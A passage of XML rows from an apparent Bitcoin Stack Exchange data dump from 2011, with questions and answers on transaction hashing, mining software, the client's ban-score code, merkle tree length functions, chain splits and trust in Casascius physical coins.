  <row Id="2177" PostTypeId="1" AcceptedAnswerId="2233" CreationDate="2011-12-07T22:22:26.080" Score="10" ViewCount="11502" Body="&lt;p&gt;How does one calculate the hash of a Tx? Which fields need to be double SHA hashed and in what order?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2018-06-14T01:51:20.117" Title="How to calculate a hash of a Tx?" Tags="|transactions|protocol|hash|algorithms|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2178" PostTypeId="1" AcceptedAnswerId="2491" CreationDate="2011-12-08T11:43:22.527" Score="5" ViewCount="697" Body="&lt;p&gt;Hopefully this is not too specific..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which mining software/script provides the greatest MHash/sec and power efficiency balance? (I'm currently using an old version of phoenix miner)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Preferably for the 5xxx series of cards, but if some mining programs are generally more efficient than others in terms of MHash/sec to power usage ratio, those are also welcome.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="542" LastEditorUserId="5406" LastEditDate="2016-02-02T08:30:35.490" LastActivityDate="2016-02-02T08:30:35.490" Title="Which mining software/script provides the greatest MHash/sec and power efficiency balance?" Tags="|miner-configuration|mining-software|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="2179" PostTypeId="1" AcceptedAnswerId="2197" CreationDate="2011-12-08T13:22:18.933" Score="9" ViewCount="1628" Body="&lt;p&gt;Does the main Bitcoin client blacklist any addresses that send too many erroneous messages? If so, how can one whitelist a particular address? I am developing an app that will be communicating with the main client and I don't want the program to ban it during testing.&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="18196" LastEditDate="2015-01-15T21:55:09.940" LastActivityDate="2016-05-20T18:54:51.930" Title="Does the main Bitcoin client blacklist addresses?" Tags="|bitcoin-core|security|testing|banscore|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2180" PostTypeId="1" AcceptedAnswerId="2181" CreationDate="2011-12-08T15:22:30.963" Score="9" ViewCount="2302" Body="&lt;p&gt;Is it possible to run Bitcoin mining and transaction distribution without using the internet? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, how would Bitcoin continue in the event of a total clampdown by a telco?&lt;/p&gt;&#xA;" OwnerUserId="117" LastEditorUserId="2306" LastEditDate="2014-09-12T00:49:57.060" LastActivityDate="2014-09-12T00:49:57.060" Title="Does Bitcoin rely on the internet?" Tags="|weaknesses|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2181" PostTypeId="2" ParentId="2180" CreationDate="2011-12-08T15:43:24.253" Score="6" Body="&lt;p&gt;You can technically run appropriately modified Bitcoin on any sort of network of communication, be it LAN, mesh, or otherwise. One could imagine making a mesh network on Zigbee or Bluetooth and allow anyone to connect to those without the Internet, although then the network latency would be way bigger and the Bitcoin network could easily become forked. Preferably there would be at least one proxy server running both on the internet (be it through wires or cellular) and on the distributed network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to make payments without using the internet, use physical coins, simple as that. It is far safer than making a new internet-less network. The only way you can lose in this way is if the Bitcoin value would plummet.&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="1420" LastEditDate="2012-06-26T23:09:34.743" LastActivityDate="2012-06-26T23:09:34.743" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2183" PostTypeId="1" AcceptedAnswerId="2191" CreationDate="2011-12-08T19:43:28.947" Score="4" ViewCount="1041" Body="&lt;p&gt;How do I know for sure when my mining hardware (GPU in particular) has failed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I be certain that my card is at fault and not my software or overclock settings?&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Example: On my rig one of my card's hashrates updates the hash/sec display very slowly and after about 5 minutes of mining phoenix miner will crash and refuse to start up a new instance.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="542" LastEditorUserId="5406" LastEditDate="2016-02-02T08:29:47.273" LastActivityDate="2016-02-02T08:29:47.273" Title="How do I know when my mining GPU has been worn out?" Tags="|gpu|mining-hardware|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2184" PostTypeId="1" AcceptedAnswerId="2189" CreationDate="2011-12-08T21:48:55.947" Score="3" ViewCount="389" Body="&lt;p&gt;I am constructing a small online store where I would like to accept BitCoins as payment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have not had any luck running the Deamon on my server, so I was planning to use tradehill.com and then make use of the API.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But every time I log in i get the &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;Socket not connected Sorry, our notification socket isn't connected&#xA;  yet. Try again in a few seconds!&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Error... And it's making me kind of anxious to use the system, since it seems a bit derelict.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know any similar systems ? Or know what's going on backstage of TradeHill.com ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions will be much appreciated.&lt;/p&gt;&#xA;" OwnerUserId="770" LastActivityDate="2011-12-09T07:47:34.860" Title="tradehill.com alternative?" Tags="|commerce|ecommerce|tradehill|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2185" PostTypeId="2" ParentId="175" CreationDate="2011-12-08T23:58:29.780" Score="9" Body="&lt;p&gt;Sorry to dig up and old question but I just wanted to add a link to &lt;a href=&quot;https://blockchain.info/wallet&quot;&gt;My Wallet&lt;/a&gt; provided by &lt;a href=&quot;http://blockchain.info&quot;&gt;blockchain.info&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess the thing that separates My Wallet from other e-wallet providers is that the site aims to feel more like an actually bitcoin client rather providing disposable addresses. I tried to design the site to be easy to use and it should seem familiar to anyone that has used PayPal or online banking. I will be adding more features soon which should be familiar to novice users such as invoices and monthly statements.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can generate up to 200 different bitcoin addresses and are free to export the private keys at anytime. In fact if you already have an existing bitcoin address you don't even need to add your private keys at all. For more information about how the site works try the &lt;a href=&quot;https://blockchain.info/wallet/faq&quot;&gt;faq&lt;/a&gt; or &lt;a href=&quot;https://github.com/zootreeves/blockchain.info&quot;&gt;browse the code&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerDisplayName="user418" LastActivityDate="2011-12-08T23:58:29.780" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2186" PostTypeId="1" CreationDate="2011-12-09T04:01:11.487" Score="13" ViewCount="2857" Body="&lt;p&gt;I sent some bitcoins to an address and then looked on blockexplorer and it was there in about 10 minutes, which is what one should expect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did another send to a previously unused address and it took hours for the network to acknowledge it.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I contacted the help desk at Mt Gox and they said this happens fairly often.  My question:  Is this a known phenomena and if so what causes it?&lt;/p&gt;&#xA;" OwnerUserId="662" LastEditorUserId="105" LastEditDate="2011-12-10T22:50:13.953" LastActivityDate="2012-09-17T03:48:15.033" Title="Why do some transactions take minutes and others take hours?" Tags="|network|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2188" PostTypeId="1" CreationDate="2011-12-09T06:06:34.700" Score="5" ViewCount="240" Body="&lt;p&gt;I am in the need (for my app development) of having more information printed with the &quot;listtransactions&quot; of the bitcoind daemon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For blocks generated it shows the account as &quot;&quot; and no bitcoin address is shown either.&#xA;Why in fact not? The blockexplorer shows the address that &quot;mined&quot; the block, and the mapping of the address to the account number works perfectly when receiving coins, why not for generated blocks?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even this request doesnt make it into the mainstream client, any help telling me where in the code to put it (if at all technically feasable) is very much appreciated.&lt;/p&gt;&#xA;" OwnerUserId="771" LastActivityDate="2011-12-10T11:51:01.457" Title="No Account number or Address in listtransactions for generated blocks" Tags="|transactions|wallet|bitcoind|block|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2189" PostTypeId="2" ParentId="2184" CreationDate="2011-12-09T07:47:34.860" Score="1" Body="&lt;p&gt;If you have technical problems with Tradehill, your first step should be to contact them about it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's not clear to me in what capacity you want to replace Tradehill. If you want an exchange then Mt. Gox is an obvious possibility, or any one of the exchanges listed &lt;a href=&quot;https://en.bitcoin.it/wiki/Trade#Currency_exchanges&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. If you want an eWallet, most exchanges are good for this too, and flexcoin is another possibility. If you want merchant solutions, check out &lt;a href=&quot;https://bit-pay.com/&quot; rel=&quot;nofollow&quot;&gt;bitpay&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2011-12-09T07:47:34.860" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2190" PostTypeId="2" ParentId="2186" CreationDate="2011-12-09T07:54:00.310" Score="4" Body="&lt;p&gt;This is caused by various characteristics of the transaction (the details of which I do not know), which make the Bitcoin client consider it low priority and hence only includes it in a mined block if it is sufficiently old.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note also that &lt;a href=&quot;http://bitcoincharts.com/bitcoin/&quot; rel=&quot;nofollow&quot;&gt;http://bitcoincharts.com/bitcoin/&lt;/a&gt; has a list of known floating transactions, you don't need to wait for it to appear in Block Explorer.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2011-12-09T07:54:00.310" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2191" PostTypeId="2" ParentId="2183" CreationDate="2011-12-09T10:23:23.887" Score="3" Body="&lt;p&gt;You can try running different software for mining after restoring the overclock settings back to factory settings. This way if the graphic card fails, you know the problem exists regardless of the mining software and the overclocking.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2011-12-09T10:23:23.887" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2192" PostTypeId="2" ParentId="175" CreationDate="2011-12-09T14:01:52.063" Score="5" Body="&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;: I ceased to be affiliated with the MultiBit project in May 2016. MultiBit is now wholly owned by KeepKey LLC and only the &lt;a href=&quot;https://multibit.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;MultiBit HD&lt;/a&gt; wallet is supported.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The comment below from 2011 refers to the old MultiBit Classic wallet which &lt;em&gt;nobody should be using any more&lt;/em&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;MultiBit HD is its direct replacement and remains a viable Bitcoin wallet (subject to regular updates). You can find &lt;a href=&quot;https://multibit.org/help/hd0.1/how-to-upgrade-from-classic.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;migration instructions here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Further, any Bitcoin wallet should only be used in conjunction with an external hardware wallet (KeepKey, Trezor, Ledger etc) due to malware attacks.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;MultiBit&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm biased since I'm a contributor, but &lt;a href=&quot;http://multibit.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;MultiBit&lt;/a&gt; provides the following features (at the time of writing):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;multiple platform installers (Windows, MacOS, Linux) &lt;/li&gt;&#xA;&lt;li&gt;manages multiple wallets (current account, savings account, business account etc)&lt;/li&gt;&#xA;&lt;li&gt;local install (no private keys held on a server somewhere)&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;13 languages&lt;/strong&gt; (more to come)&lt;/li&gt;&#xA;&lt;li&gt;easy to use for a beginner (has a &lt;a href=&quot;http://www.youtube.com/user/MultiBitOrg&quot; rel=&quot;nofollow noreferrer&quot;&gt;YouTube channel&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;li&gt;bulk public key export to support a merchant solution&lt;/li&gt;&#xA;&lt;li&gt;free and open source under the (very permissive) MIT license&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;There is also a wide suite of complimentary products in the pipeline to offer a complete range of supporting products (such as a merchant solution).&lt;/p&gt;&#xA;" OwnerUserId="117" LastEditorUserId="117" LastEditDate="2017-07-04T11:32:28.873" LastActivityDate="2017-07-04T11:32:28.873" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2193" PostTypeId="2" ParentId="2186" CreationDate="2011-12-09T18:57:40.490" Score="12" Body="&lt;p&gt;Four factors affect this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) The size of the transaction. Smaller transactions get a lower priority. Abnormally small transactions look like spam.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) The transaction fee. Abnormally low transaction fees may mean the transaction isn't even relayed. Miners have an incentive to include transactions with higher fees.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) Luck. Some miners don't include any transactions. Some don't include any transactions without fees, even if the fee would normally be zero. So it comes down to who mines the next block or blocks. Also, 10 minutes is just the average. You could create a transaction and then by sheer bad luck the next block isn't mined for 20 minutes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4) Security. The client 'dribbles' out its own transactions rather than broadcasting them to try to conceal the origin.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2011-12-09T18:57:40.490" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="2194" PostTypeId="1" CreationDate="2011-12-09T19:30:33.807" Score="1" ViewCount="1984" Body="&lt;p&gt;What is the formula to calculate the length of a merkle tree, given the length of the leaf vector?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-04-04T16:44:43.917" Title="What is the formula to calculate the length of a merkle tree?" Tags="|protocol|academic-research|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2195" PostTypeId="2" ParentId="182" CreationDate="2011-12-09T19:46:02.863" Score="0" Body="&lt;p&gt;The question is not very well worded, but I this article is the best response to the question of &quot;What backs Bitcoins?&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://libertariannews.org/2011/12/01/why-do-people-want-a-gold-standard-when-history-shows-us-it-does-not-last/&quot; rel=&quot;nofollow&quot;&gt;libertariannews.org/2011/12/01/why-do-people-want-a-gold-standard-when-history-shows-us-it-does-not-last/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="145" LastActivityDate="2011-12-09T19:46:02.863" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2196" PostTypeId="2" ParentId="2194" CreationDate="2011-12-09T22:52:11.363" Score="-1" Body="&lt;p&gt;It's not clear exactly what you're asking. The 'Merkle Tree' is a notional structure consisting of a number of different objects used in the process of generating a hash. It's not an object with a standard binary format whose length is well-defined.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words, the Merkle Tree is an algorithm. You put in an ordered list of N 256-bit hashes, and you get out a single 256-bit hash. There really is no &quot;Merkle Tree&quot; &lt;em&gt;itself&lt;/em&gt; that has any length. To reconstruct the entire process, you need all and only the input hashes in order.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2011-12-10T00:00:12.973" LastActivityDate="2011-12-10T00:00:12.973" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2197" PostTypeId="2" ParentId="2179" CreationDate="2011-12-10T00:13:14.390" Score="9" Body="&lt;p&gt;There is a ban mechanism which is handled in &lt;code&gt;net.cpp&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any node which misbehave by more than &lt;code&gt;-banscore&lt;/code&gt; (defaults to 100) is banned for &lt;code&gt;-bantime&lt;/code&gt; (defaults to 60×60×24 seconds = 1 day).&#xA;However, nodes with a local ip address are exempted, and for those a warning is shown in the logs after each misbehavior.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also bans are not persistent, they are lifted when the client is restarted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, during development, just make sure that your app connects with a local address to the bitcoin client, and you will not be bothered by bans.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Here is the relevant piece of code:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bool CNode::Misbehaving(int howmuch)&#xA;{&#xA;    if (addr.IsLocal())&#xA;    {&#xA;        printf(&quot;Warning: local node %s misbehaving\n&quot;, addr.ToString().c_str());&#xA;        return false;&#xA;    }&#xA;&#xA;    nMisbehavior += howmuch;&#xA;    if (nMisbehavior &amp;gt;= GetArg(&quot;-banscore&quot;, 100))&#xA;    {&#xA;        int64 banTime = GetTime()+GetArg(&quot;-bantime&quot;, 60*60*24);  // Default 24-hour ban&#xA;        CRITICAL_BLOCK(cs_setBanned)&#xA;            if (setBanned[addr.ip] &amp;lt; banTime)&#xA;                setBanned[addr.ip] = banTime;&#xA;        CloseSocketDisconnect();&#xA;        printf(&quot;Disconnected %s for misbehavior (score=%d)\n&quot;, addr.ToString().c_str(), nMisbehavior);&#xA;        return true;&#xA;    }&#xA;    return false;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="132" LastEditorUserId="132" LastEditDate="2016-05-20T18:54:51.930" LastActivityDate="2016-05-20T18:54:51.930" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2198" PostTypeId="2" ParentId="2194" CreationDate="2011-12-10T01:55:27.610" Score="2" Body="&lt;p&gt;The length of a merkle tree is the sum of a series starting with the number of leaves, halving (rounded up) on every step and ending with 1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the algorithm for calculating the length of a merkle tree from the number of leaves in JavaScript.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function getMerkleLength(leafCount) {&#xA;  // Input must be a positive integer or zero&#xA;  leafCount = Math.abs(parseInt(leafCount));&#xA;&#xA;  var merkleLength = 0, currentLevel = leafCount;&#xA;&#xA;  // Most merkle tree implementations return a null hash for empty lists, so the&#xA;  // length in that case would still be one.&#xA;  if (leafCount &amp;lt;= 1) return 1;&#xA;&#xA;  // Loop&#xA;  for (;;) {&#xA;    // Add the current level to the length&#xA;    merkleLength += currentLevel;&#xA;&#xA;    // If the current level is the root, we are done&#xA;    if (currentLevel == 1) return merkleLength;&#xA;&#xA;    // Each level contains half the hashes of the last one and if there is an&#xA;    // odd number of leafs, the last hash is duplicated&#xA;    currentLevel = Math.ceil(currentLevel / 2);&#xA;  }&#xA;  return merkleLength;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; I like readable code, but just for fun, here's the equivalent short version:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function getMerkleLength(leafCount) {&#xA;  for (var len = 0, i = ~~leafCount; i &amp;gt; 1; i = ~~(i/2+.5)) len += i;&#xA;  return len &amp;gt;= 2 ? ++len : 1;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit 2:&lt;/strong&gt; And a &lt;a href=&quot;http://codepad.org/xfvhtwXn&quot; rel=&quot;nofollow&quot;&gt;C version&lt;/a&gt; for good measure.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;typedef unsigned int uint;&#xA;&#xA;uint getMerkleLength(uint leafCount)&#xA;{&#xA;  uint len = 0, i;&#xA;  for (i = leafCount; i &amp;gt; 1; i = (i+1)&amp;gt;&amp;gt;1) {&#xA;    len += i;&#xA;  }&#xA;  return len &amp;gt;= 2 ? ++len : 1;&#xA;}&#xA;&#xA;void main() {&#xA;  uint i;&#xA;  for (i = 0; i &amp;lt;= 100; i++) {&#xA;    printf(&quot;%u: %u\n&quot;, i, getMerkleLength(i));&#xA;  }&#xA;  printf(&quot;%u: %u\n&quot;, 5000, getMerkleLength(5000));&#xA;  printf(&quot;%u: %u\n&quot;, 99999999, getMerkleLength(99999999));&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="768" LastEditorUserId="768" LastEditDate="2012-04-04T16:44:43.917" LastActivityDate="2012-04-04T16:44:43.917" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="2199" PostTypeId="2" ParentId="2188" CreationDate="2011-12-10T11:51:01.457" Score="1" Body="&lt;p&gt;There is an embryo of a  &lt;a href=&quot;https://github.com/sgimenez/bitcoin/commit/d3deed5e41b15195a4f24dec458bb065121a1949&quot; rel=&quot;nofollow&quot;&gt;patch&lt;/a&gt; on github which was precisely meant to solve this issue. It was announced on the dev mailing list but never received much attention. Now it's a bit outdated (the &lt;a href=&quot;https://github.com/sgimenez/bitcoin/commit/34ca1aec9fa92b25796ba6adaaf4ba888379091d&quot; rel=&quot;nofollow&quot;&gt;latest&lt;/a&gt; merge with master is from Sep 26). Maybe you can start from here.&lt;/p&gt;&#xA;" OwnerUserId="132" LastActivityDate="2011-12-10T11:51:01.457" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2200" PostTypeId="1" AcceptedAnswerId="2201" CreationDate="2011-12-10T14:04:43.050" Score="5" ViewCount="139" Body="&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1738/what-would-happen-if-a-portion-of-the-bitcoin-network-was-separated-from-the-res&quot;&gt;Currently&lt;/a&gt;, if I didn't misunderstand, in case of a network split when the two networks merged again only one of them would be &quot;valid&quot; and everything else would be discarded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This seems overly simplistic and un-technologic for me: a smart system able to handle splits and merge like distributed version control systems do (like hg or git). Of course that wouldn't be easy to do properly, and it's totally understandable it hasn't been done yet, but I would be surprised if nobody even bothered to draft some kind of proposal about it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does such a draft exist?&lt;/p&gt;&#xA;" OwnerUserId="196" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2013-07-03T16:09:51.427" Title="Is there some kind of draft to support a chain split+merge, like Version Control systems do?" Tags="|network|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2201" PostTypeId="2" ParentId="2200" CreationDate="2011-12-10T14:28:23.270" Score="3" Body="&lt;p&gt;There is one inherent problem with the solution you described in regards to Bitcoin: the block chain is created in a very specific way. Each block in the block chain links to one and only one previous block, and it is encoded in such a way that if you change the internal structure of the block, it is no longer valid. You should look into &lt;a href=&quot;https://en.bitcoin.it/wiki/Block_hashing_algorithm&quot; rel=&quot;nofollow&quot;&gt;the block hashing algorithm&lt;/a&gt;. Generally, if you wanted to merge two blocks together, you'd have to solve them all over again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This does not mean, however, that the transactions from the invalid branch are lost. Unless the coins were already spent in the valid branch, one can take those &quot;lost&quot; transactions and include them in the next block to be mined. This would mean that the transactions would end up having a couple less confirmations, but they would still go through.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2011-12-10T14:28:23.270" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2202" PostTypeId="5" CreationDate="2011-12-10T14:42:03.553" Score="0" Body="&lt;p&gt;Resilience covers how Bitcoin is able to keep working under less than optimal circumstances. Examples include network outages, offline transaction processing, private key ownership transfer, alternative networks (e.g. radio, DASH7, mesh networks, Bluetooth, Near Field Communication etc).&lt;/p&gt;&#xA;" OwnerUserId="117" LastEditorUserId="117" LastEditDate="2011-12-10T15:34:44.673" LastActivityDate="2011-12-10T15:34:44.673" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2203" PostTypeId="4" CreationDate="2011-12-10T14:42:03.553" Score="0" Body="Related to how Bitcoin is able to adapt and workaround infrastructure problems" OwnerUserId="117" LastEditorUserId="117" LastEditDate="2011-12-10T15:34:49.323" LastActivityDate="2011-12-10T15:34:49.323" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2204" PostTypeId="1" AcceptedAnswerId="2206" CreationDate="2011-12-10T23:47:14.837" Score="10" ViewCount="1461" Body="&lt;p&gt;&lt;a href=&quot;https://www.casascius.com/&quot;&gt;Casascuius&lt;/a&gt; offers an attractive product, a physical coin storing a private key. From a &lt;a href=&quot;http://news.cnet.com/8301-17938_105-20125470-1/are-physical-bitcoins-legal/&quot;&gt;CNET article&lt;/a&gt; and the website itself, we learn the company is run by&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Mike Caldwell, 2901 Little Cottonwood Road, Sandy, Utah 84092,&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;who appears to be a trusted member of the Bitcoin community.&#xA;They provide a digitally signed list of Bitcoin addresses and claim that this makes Mike  legally accountable. (I'm not sure how the GPG key used can be connected to a real person.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only form of payment, they accept directly is Bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Such a service allows for two types of fraud:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;At some point in time, they stop sending physical coins in exchange for BTC received and disappear. This is a very common risk when making payments in advance and it is particularly obvious if the form of payment is designed not to allow chargebacks.&#xA;The risk here is not different from shopping at many other businesses online. However, the relatively simple website and the connection with Bitcoin, is likely to raise alarms with customers. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Although they claim otherwise, they could easily keep a copy of the private keys. This would allow spending the balance on all coins that have not been spent yet at some point in the future.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;What should the Bitcoin community expect Casascius to do to render the scheme trustworthy?&lt;/p&gt;&#xA;" OwnerUserId="350" LastEditorUserId="350" LastEditDate="2011-12-11T16:27:35.447" LastActivityDate="2012-02-25T08:00:06.223" Title="Do we know enough about Casascius to trust their physical coins in the long run?" Tags="|trust|physical-coins|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2205" PostTypeId="2" ParentId="2200" CreationDate="2011-12-10T23:49:19.310" Score="1" Body="&lt;p&gt;Your solution is worse than the problem it solves. It's bad enough that both chains can't be valid and there may be some losers. You want to change it so that &lt;em&gt;neither&lt;/em&gt; chain is valid and everybody loses? That just doesn't make any sense.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are two cases:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) There are no double spending attacks. In this case, everybody wins (except people who mined blocks in the &quot;losing&quot; chain). Any transactions in the &quot;losing&quot; chain that are not in the &quot;winning&quot; chain are still valid. They will automatically be added to the &quot;losing&quot; chain by miners, since they want the transaction fees.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) There are double spending attacks. In this case, you fundamentally need some way to resolve the conflicts. The method Bitcoin uses is that the winning chain's transactions stand. (This is important because it means the longer the chain, the higher the chance your transaction will stand -- this is the crux of Bitcoin's security model.) Anyone who loses out has the conflicting transaction and so can prove they were ripped off by the sender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't see how you can do better.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2011-12-10T23:49:19.310" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2206" PostTypeId="2" ParentId="2204" CreationDate="2011-12-11T00:03:33.440" Score="1" Body="&lt;p&gt;I can't speak for the community, but if I wanted additional measures of protection against fraud, I'd go for:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Start a company and state its details, so it can be reached and sued if worse came to worse.&lt;/li&gt;&#xA;&lt;li&gt;Process of creating the coins should be audited to ensure no data is kept.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="323" LastEditorUserId="323" LastEditDate="2011-12-11T01:02:00.667" LastActivityDate="2011-12-11T01:02:00.667" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2207" PostTypeId="2" ParentId="2204" CreationDate="2011-12-11T01:35:16.037" Score="0" Body="&lt;p&gt;As I see it, Casascius coins are not supposed to be a top class product, tamper resistant and impossible to counterfeit. Like &lt;a href=&quot;https://bitcointalk.org/index.php?topic=38048.msg538799#msg538799&quot; rel=&quot;nofollow&quot;&gt;Casascius wrote&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Me doing physical bitcoins is just to say &quot;hey world, guess what,&#xA;  tangible bitcoins are possible, they're not just imaginary&quot;.  I will&#xA;  have simply pioneered the physical bitcoin (with all due respect to&#xA;  BitBills).  Someone else will do a leaner, meaner, badder, cheaper,&#xA;  more secure physical bitcoin&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;These coins are assembled by hand by casascius himself and only a few thousand coins were made. You should look at them more as a symbolic token, rather than as an official physical bitcoin.&lt;br&gt;&#xA;Obviously this does not invalidate the trust problem, but Casascius is a well 